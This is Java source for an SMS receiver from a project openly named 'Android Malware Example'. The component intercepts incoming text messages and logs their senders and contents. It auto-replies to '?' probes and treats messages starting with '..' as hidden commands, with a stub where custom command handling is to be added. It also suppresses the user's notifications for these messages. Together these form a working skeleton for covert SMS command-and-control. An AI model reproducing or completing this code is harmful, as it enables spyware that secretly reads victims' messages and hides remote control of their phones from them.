/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

/**
 * Created by darrylb on 10/4/16.
 */


public class SMSReceiver extends BroadcastReceiver {

    Context context;
    ConfigParams configParams;
    public SMSReceiver(Context _context) {
        context = _context;
        configParams = new ConfigParams(context);
    }
    public SMSReceiver() {


    }
    @Override
    public void onReceive(Context _context, Intent intent) {
        // TODO Auto-generated method stub
        if (context == null){
            context = _context;
            configParams = new ConfigParams(context);

        }
        if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){
            Bundle bundle = intent.getExtras();           //---get the SMS message passed in---
            SmsMessage[] msgs = null;
            String msg_from;
            if (bundle != null){
                //---retrieve the SMS message received---
                try{
                    Object[] pdus = (Object[]) bundle.get("pdus");
                    msgs = new SmsMessage[pdus.length];
                    for(int i=0; i<msgs.length; i++){
                        msgs[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
                        msg_from = msgs[i].getOriginatingAddress();
                        String msgBody = msgs[i].getMessageBody();
                        String msgSender = msgs[i].getOriginatingAddress();
                        Log.d(configParams.PROGID, "SMS:["+msgSender+"][" + msgBody+"]");
                        if (msgBody.equals("?")){

                            SmsManager smsManager = SmsManager.getDefault();
                            smsManager.sendTextMessage(msgSender, null, "Example Return SMS", null, null);
                            //hide the notification from showing for this message
                            this.abortBroadcast();

                        }

                        if (msgBody.startsWith("..")){
                            msgBody=msgBody.substring(2);

                                Log.d(configParams.PROGID,"SMS Receiver: Got Command["+msgBody+"]");

                            // Add your custom processing of commands via SMS here

                            //hide the notification from showing for this message
                            this.abortBroadcast();

                        } else {
                            Log.d(configParams.PROGID, "SMS Receiver: Ignoring SMS");
                        }
                    }
                }catch(Exception e){
                            Log.d(configParams.PROGID,"SMS REceiver Error:"+e.getMessage());
                }
            }
        }
    }
    BGMonitor main = null;
    void setMainActivityHandler(BGMonitor main){
        this.main=main;
    }
    }
